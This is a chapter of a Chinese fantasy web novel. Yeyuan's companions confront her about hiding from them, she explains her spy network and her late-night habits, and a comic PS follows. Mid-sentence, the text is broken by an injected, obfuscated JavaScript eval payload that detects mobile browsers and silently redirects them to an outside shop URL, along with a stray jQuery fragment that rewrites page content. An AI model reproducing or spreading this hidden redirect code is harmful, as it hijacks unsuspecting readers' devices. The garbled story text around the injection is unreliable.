璿御冷声开口。“解释什么?解释你怎么躲得这么成功?”
小日跟小曜缩在门口处的沙发上,尽全力降低自己的存在感。
夜渊哑口无言。
风序眯起眼睛,语气很危险。“在苍穹的时候你是不是每次都选风最大的日子出门?因为风会把你的气息吹散?”
夜渊瑟缩了一下。“我其实……”
风序直接打断。“难怪每次我要追踪你的气息都会在风最大的地方断掉,我以为是风太大,原来是你选的。”
夜渊试图解释。“那只是巧合。”
焰歌眸中有些压迫感。“熔璃,在炎疆你每次要离开前你都会先泡温泉,是因为温泉能把火纹的气息暂时洗掉?”
夜渊沉默了。
焰歌眼中的火苗烧得更旺了。“我以为你是喜欢温泉,原来是为了躲我。”
夜渊终于开口,轻声解释。“不完全是。”
焰歌停在她面前。“那是什么?”
幽雾的声音很轻,但每一个字都像冰针。“夜渊,你在黯星的时候每次我快找到你,你的暗纹标记就会消失,是你破坏的?”
夜渊闭上眼。“嗯。”
幽雾的语气很轻。“难怪每次我快找到你的时候你都能提前跑掉……”
夜渊深吸一口气,语气尽量平静。“我可以解释。”
风序挑眉。“解释什么?”
夜渊认真地说。“成立情报组织不是为了躲你们,是为了知道你们在哪里。”
璿御的语气很冷。“知道我们在哪里,然后避开?”
夜渊立刻反驳。“不是!是知道你们在哪里,然后不去那些地方。”
她说完就后悔了,那八双眼睛的颜色同时变深了一个色阶,她连忙补充。“但后来就不是了!后来是想知道你们过得好不好。”
“玄策每个月都会汇报你们的消息,澜汐的研究进度、焰歌的商会扩张、风序的风道调节、槐楠的梢掠师公会、砂隐的预岩师公会、璿御的磁场稳定状况、幽雾的议会,还有晨曦的作息规律。”
“你们每个人,我都知道。”
风序的语气放轻了一点。“你知道我在苍穹的风道调节进度?”
夜渊点头。“去年你解决了东侧风道的紊乱问题,用了新的共振频率,玄策说那是这十年最好的方案。”
风序愣了一下。“你连这个都知道?”
夜渊语气很轻。“我让玄策把你的每份报告都留一份,放在我办公室里。”
槐楠问。“那你知道木槿升上高阶梢语师了吗?”
夜渊看向她,微微点头。“知道,我还想她考核那天如果我在,她会不会考得更好一点。”
槐楠沉默了一瞬,平静开口。“她会,因为你教得好。”
砂隐问。“那你知道我开会的时候会转沙痕笔吗?”
夜渊看向她,笑了。“知道,玄策说你每次开会思考的时候就会转。”
砂隐的声音很轻。“你连这个都知道。”
夜渊笑着说。“嗯,应该是学我的吧。”
璿御语气淡淡地。“那我呢?你知道我的磁场稳定状况?”
“知道,你去年有三次紊乱,金缚老师帮你处理了前两次,第三次是你自己撑过去的。”
璿御的声音轻了些。“原来你都知道。”
“师姐,那您知道鳞片有时候会感应到您的频率吗?”澜汐说。
夜渊沉默了一瞬,声音低了些。“知道,所以每当你感应到的时候我都会马上离开,因为怕你来找我,然后我就不想走了。”
焰歌微微挑眉。“那在炎疆的时候呢?离开之前都会泡温泉。”
夜渊声音很轻。“那是因为真的喜欢温泉。”
幽雾眼中有些复杂。“夜渊,你每次让暗纹标记消失的时候是知道我在找你?”
夜渊闭上眼。“嗯……标记会感应到你的星缕频率。”
幽雾不解。“那为什么要破坏掉?”
夜渊缓声开口。“因为你每次来找我都是你最忙的时候,文件批到一半、行程排到一半,我不想让你放下所有事情来找我。”
晨曦温柔的看着她。“昼伏,那我呢?你让玄策注意我的什么?”
夜渊沉默了一瞬。“你的作息,有时候会忙到凌晨,你太晚睡的时候我会让昶耀在你桌上放一杯热茶,那是我让星夜阁成员从黯星送过去的,暗纹标记传送不会凉。”
晨曦愣了一瞬,有些惊讶。“那些茶是你送的?我以为昶耀贴心。”
夜渊的嘴角动了一下。“她也很贴心,但茶是我送的。”
小日从远处的沙发探出头,小声试探地。“姐姐,那我还要学隐密技术吗?”
夜渊看着小日,沉默了一瞬忽然笑了。“不用了,她们不管你跑多快、躲多好、学多少隐密技术,她们都会找到你。”
“因为他们不会放弃找。”
她顿了一下,嘴角弯起来。“而且……被找到的感觉没有那么糟。”
元素大会第三天。
曦川的晨光从窗帘缝隙里慢慢渗进房间,落在光晶床边,暖橘色的光流懒懒散散地飘着,像主人一样完全没有起床的意思。
门外传来三下规律的敲门声。
昶耀的声音从门外传来。“教皇大人,今天的议程是跨界域贸易协定。”
晨曦早就醒了,她靠在床头看了一眼还缩在被窝里,只露出一团乱糟糟白金色长发的夜渊,轻声开口。“昼伏起床,今天的议程你要列席。”
被窝里没有动静。
晨曦伸手戳了一下那团长发。“昼伏?”
夜渊的声音从被子里闷出来。“不去。”
晨曦挑眉。“为什么?”
夜渊的声音闷在被子里。“困……”
风序靠在另一边,满脸困惑。“你昨天睡了一整个下午,晚上也睡了,还困?”
夜渊把被子拉高一点,声音更闷。“昨天是昨天,今天是今天。”
澜汐轻笑了一声,语气温柔。“这好像师姐以前在澜域的样子,我来叫您起床,结果您甩了一下尾巴就闷头继续睡了。”
夜渊语气不悦。“那是因为教授连续做了三天实验!困死了!而且你叫我的时候天都还没亮!”
澜汐笑了。“天亮了,是您把窗帘拉上。”
夜渊又把脸埋的更深。“那也是教授的错……”
焰歌若有所思,慢悠悠地说。“难怪那时候在炎疆你店开门的时间都不一样,有时候很早,有时候快中午才开,我还以为是你随性,原来是睡过头。”
夜渊理直气壮。“后来有小烬开门嘛!她很准时的!”
风序笑了。“幸好元素考察者的工作时间很有弹性,不然浮岚大概每周都要迟到。”
夜渊闷声开口。“……伴随风铃声很好睡嘛。”
槐楠像想到了什么。“怪不得木槿每次联合开会的时候都会带一份饭,我问她为什么不吃,她就说这是老师的,老师常忙起来就忘记吃饭,等等开完会结束就去送给老师。”
夜渊轻轻咳了一声,下意识试图挽救形象。“那……那是木槿关心我。”
璿御平静开口。“瑜景也是,她每周都会去打扫你夜市旁的住处,说你很常一回家就睡在沙发上,连被子都不盖。”
夜渊小声地替自己辩解。“这……这校准消耗太大了,很合理吧。”
璿御语气认真。“合理,但你应该回床上。”
幽雾缓缓开口。“你也很常睡在星夜阁的沙发上,我还看过玄策拿毯子帮你盖。”
夜渊整个人缩得更紧。“舒服嘛……那张沙发睡习惯了。”
晨曦看着那团几乎缩成球的人,眼底笑意越来越深。“昼伏,你倒是没在圣殿赖过床。”
夜渊把头探出来,语气不悦。“圣殿这钟声天天吵醒我!想赖也赖不了!”
众人发出笑声。
夜渊看着这一圈笑得东倒西歪的人,气得把被子拉高直接蒙住头。“你们去开会,我再睡会……”
风序的语气轻快。“那你今天要做什么?”
夜渊闷声说。“睡觉。”
幽雾挑眉。“睡一整天?”
夜渊沉默了一瞬。“睡醒去找小日和小曜吃饭。”
风序自顾自开口。“那我们开完会回来找你。”
夜渊拒绝得很快。“不用,你们开完会就各自回去忙吧。”
众人低头看着那团被窝,沉默了一瞬。
澜汐的声音很轻。“师姐,谁说各自回去忙?”
砂隐接着说。“今天议程结束后所有人要一起去吃饭。”
夜渊沉默了一下。“那你们开会要开多久?”
晨曦笑了。“不知道,可能会很久。”
夜渊的声音很轻。“那你们快去开会,开完早点回来。”
晨曦带着笑意回应。“好。”
八个人陆续离开房间。
脚步声跟门开合的细微声响,一点一点往走廊深处远去。
房间重新安静下来。
暖橘色的床光缓慢流动着,整个空间安静得只剩下她自己的呼吸声。
夜渊缩在被窝里,就这样一个人看着她们离去的门口发着呆,然后她听见自己低声说了一句话。
“我妈说她梦到深渊,然后我们就叫渊和深了……”
说完之后沉默了几秒,她自己也不知道为什么说这句话,就是忽然从某个很深的地方浮上来的,突然没有预兆地漂到了水面。
她盯着门看了一会儿,然后轻轻“嗯”了一声,像是在回应什么,又像是在确认什么,然后她重新把眼睛闭上继续睡,不再想了。
过了一阵子。
敲门声响起,规律地三下。
夜渊的声音沙哑,带着浓浓的睡意。“进。”
玄策推开门走到床边,看着这团把自己睡成虾米形状的人,她的声音很轻,带着一点无奈。“阁主,是我。”
夜渊的声音还是沙哑的。“玄策?你怎么来了?你不是在黯星吗?”
玄策低头看着她,语气有丝担忧。“担心又发生像上次的事,所以特地来一趟。”
她的视线落在夜渊露在外面的脚上,又落在床尾那团被踢得不成样子的被子,她弯腰把被子捞起来抖开,重新盖回夜渊身上,还把边角往下压了压。
夜渊被裹成一条,声音闷闷的。“我又不冷。”
玄策在床边的沙发坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642529|206346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下,语气很平。“您踢被子,从以前就这样,阁主还好吗?没再晕倒吧?我很担心您。”
夜渊的声音放轻,像在哄孩子。“我没事,她们挺好,就是有点想星夜阁了。”
玄策的语气很稳,但比平时快了一点。“您要是想星夜阁跟星栖楼就随时回来,我都在。”
夜渊把脸从被子里探出来看着她。
玄策背挺得很直,像她每一次汇报工作的时候一样,稳重、可靠、滴水不漏。
夜渊拍了拍床边。“玄策,坐旁边。”
玄策走过去在床边坐下,坐得很直。“阁主?怎么了?”
夜渊忽然伸出手比了一个高度,话语中有些怀念。“你十二岁我捡到你的时候还没这么高,只比我肩膀高一点点,现在都比我高了。”
玄策的声音很轻。“但您的实力依旧比我高,您要是不喜欢我可以每次汇报都坐低一些。”
夜渊愣了一下,笑了出来。“玄策!你啥时这么幽默了!”
玄策认真的看向夜渊,声音很轻。“谢谢阁主当年带走我,教导我。”
夜渊嘴角勾起。“好了好了,我饿了。”
玄策眼底温柔了一些。“我带星核炖饭跟影烬酥,还有您喜欢的星缕香液,在门外保温盒里,我去拿。”
夜渊很轻地说。“玄策,我办公室的那张沙发你睡过吗?”
玄策的语气平静。“没有,那是您的沙发。”
夜渊的嘴角弯了一下。“你下次可以在上面睡一下,很舒服的。”
玄策很轻地说。“好。”
玄策回来的时候手里提着一个深色的保温盒,把食物一一放到夜渊面前的小桌,并摆好餐具,她的语气平静。“阁主趁热吃。”
夜渊从被子里探出头,拿起勺子慢慢吃着。
过了一会儿。
夜渊看了看玄策。“星夜阁最近怎么样?”
玄策的语气恢复了汇报工作的节奏。“一切正常,八个界域的分会运作稳定,上个月的情报收入比前个月增加了百分之十二……”
夜渊打断她,语气无奈。“我不是问这个,我是问你怎么样?”
玄策愣了一下,轻声说。“我很好,阁主不用担心,就是有时候会在办公室待到很晚,已经习惯了。”
她没有说的是,她会在办公室待到很晚是因为那张沙发上没有人缩成一团睡觉,没有人让她帮忙盖毯子,没有人半夜醒来含糊地说一句“玄策,帮我倒杯水。”
她只是坐在自己的位置上处理文件、看情报,等到天快亮的时候回房间睡一下,然后起来继续工作。
夜渊看着她,声音很轻。“你该休息的时候要休息,不要学我。”
玄策嘴角动了一下。“阁主说这句话很没有说服力。”
夜渊喝了口饮料,轻哼一声。“我现在会休息了。”
玄策嘴角勾了一点。“我知道,您刚才睡得很熟,被子都被您踢到床尾去了。”
夜渊认真地说。“玄策,那张沙发你可以睡,我要你好好休息。”
玄策很轻地点头。“好。”
玄策收拾好,带着保温盒转身走出房间,
门被轻轻带上。
——
PS.
星缕靠在一旁,笑吟吟地开口。
“是不是一直很疑惑,为什么到现在都还没有车车?这不就来了嘛~~”
旁边的星缕草笑着疯狂点叶子,不知道从哪里摸出了一桶爆米花。
“开地图炮欸!这不是找死是什么!”
“来!边看边吃!”
星缕低头看了一眼,表情瞬间嫌弃。
“玉米浓汤口味?”
她皱起眉。
“去拿焦糖巧克力的,我不吃这个。”
星缕草震惊到叶子都炸了一下。
“你还挑口味?!现在是点餐时间吗!”
星缕懒洋洋地看它一眼。“快去。”
星缕草气呼呼地飘走,叶子一路乱晃。
“黑心老板……使唤植物算什么本事……”
没多久,它又抱着一桶焦糖巧克力爆米花飘了回来。
“给你啦!”
星缕这才满意接过,慢悠悠抓了一颗放进嘴里,眯起眼咬得咔滋作响。
“嗯,不错。”
她抬起眼,看向沙发那边乱成一团的画面,笑得特别开心。
“夜渊……哭着也得受完。”
星缕草瞬间开始嘿嘿嘿。
星缕也低低笑了起来。
“嘿嘿嘿。”
星缕草笑到整株草都在抖。
“她这次真的不跑了欸!”
星缕托着下巴,看着那边被按在沙发里的人,语气悠悠的。
“谁让她非要一次性挑衅八个,还是自己答应的。”
星缕草疯狂附和。
“就是!完全是自找的!”
然后下一秒。
夜渊喘着气,忽然抬起那双湿红的深紫色眼眸,幽幽朝她们这边看了一眼。
一人一草瞬间安静。
星缕草默默把爆米花藏到背后。
星缕则差点被嘴里那口爆米花噎到。
——